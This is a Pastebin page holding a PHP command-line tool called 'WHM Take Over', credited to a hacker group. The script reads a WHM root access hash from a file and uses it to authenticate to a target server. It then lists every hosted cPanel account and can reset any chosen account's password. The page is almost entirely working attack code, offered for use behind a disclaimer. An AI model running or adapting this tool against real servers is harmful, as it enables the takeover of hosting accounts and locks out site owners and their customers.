Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #
- # alm3refh.com | Group-XP
- # Name : WHM Take Over
- # Coder : HaNniBaL-KsA
- # Twitter: @r00t3rz
- # -----------------------------------------
- # NOTE!! :
- # Use these scripts entirely at your own risk.
- # The author cannot be held responsible for any damage, direct nor consequential,
- # caused by the use of, or inability to use the techniques or scripts presented here.
- # " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
- error_reporting(0);
- set_time_limit(0);
- function clear(){
- $uname = strtolower(php_uname());
- if (strpos($uname, "win") !== false) {
- @system('cls');
- } else {
- @system('clear');
- }
- }
- function saveit($name, $data){
- $handle = fopen($name, 'w') or die('Cannot open file: '.$name);
- fwrite($handle, $data);
- fclose($handle);
- }
- function alm3refh(){
- print "Options:
- [1] List of Accounts.
- [2] Change a cPanel Account's Password.
- [3] Exit.\n";
- print "\nYour choice: ";
- $choice = chop(fgets(STDIN));
- $options = array("1","2","3");
- if(in_array($choice, $options)){
- return options($choice);
- }else{
- return alm3refh();
- }
- }
- function options($x){
- if($x == "1"){
- return alm3refh_list();
- } elseif($x == "2"){
- return alm3refh_cp();
- } elseif($x == "3"){
- print "Hope you like it!\n\ncheers.\nalm3refh.com\n\n";
- die();
- }else{ print "How did u get here ?\n\n"; return alm3refh(); } # just in case
- }
- function alm3refh_list(){
- print "\n\n# Alm3refh.com - WHM Take Over\n# List of Accounts\n\n";
- print "IP/Host: ";
- $ip = chop(fgets(STDIN));
- print "\nUser: ";
- $user = chop(fgets(STDIN));
- print "\nHash fil: ";
- $file = chop(fgets(STDIN));
- $root_hash = @file_get_contents($file);
- print "\n\nStarting ";sleep(1);print ".";sleep(1);print ".";sleep(1);print ".";
- $xmlapi = new xmlapi($ip);
- $xmlapi->hash_auth($user,$root_hash);
- $xmlapi->return_xml(1);
- $xmlapi->set_debug(1);
- $acc = $xmlapi->listaccts();
- $name = "alm3refh_acc.txt";
- saveit($name, $acc);
- print "\n[ alm3refh #] : Accounts have been saved in alm3refh_acc.txt\n";
- #print $xmlapi->listaccts();
- print "\n\ncheers.\nAlm3refh.com\n";
- }
- function alm3refh_cp(){
- print "\n\n# Alm3refh.com - WHM Take Over\n# Change a cPanel Account's Password\n\n";
- print "IP/Host: ";
- $ip = chop(fgets(STDIN));
- print "\nUser: ";
- $user = chop(fgets(STDIN));
- print "\nHash fil: ";
- $file = chop(fgets(STDIN));
- $root_hash = @file_get_contents($file);
- print "\n\nStarting ";sleep(1);print ".";sleep(1);print ".";sleep(1);print ".";
- print "\n\nTargte: ";
- $target = chop(fgets(STDIN));
- print "\nNew Password: ";
- $pass = chop(fgets(STDIN));
- $xmlapi = new xmlapi($ip);
- $xmlapi->hash_auth($user,$root_hash);
- $xmlapi->return_xml(1);
- $xmlapi->set_debug(1);
- $xmlapi->passwd($target, $pass);
- print "\n[ alm3refh #] $target's password has been changed!";
- print "\n\ncheers.\nAlm3refh.com\n";
- }
- include 'xmlapi.php';
- clear();
- print "
- __ ___ _ __ __ _______ _ ____
- \ \ / / | | | \/ | |__ __| | | / __ \ Command Line Version!
- \ \ /\ / /| |__| | \ / | | | __ _| | _____ | | | |_ _____ _ __
- \ \/ \/ / | __ | |\/| | | |/ _` | |/ / _ \ | | | \ \ / / _ \ \'_|
- \ /\ / | | | | | | | | | (_| | < __/ | |__| |\ V / __/ |
- \/ \/ |_| |_|_| |_| |_|\__,_|_|\_\___| \____/ \_/ \___|_|
- \nWHM Take Over @ alm3refh.com\nBy: HaNniBaL-KsA @r00t3rz\n\n";
- alm3refh();
- # HK @r00t3rz
- ?>
Advertisement
Add Comment
Please, Sign In to add comment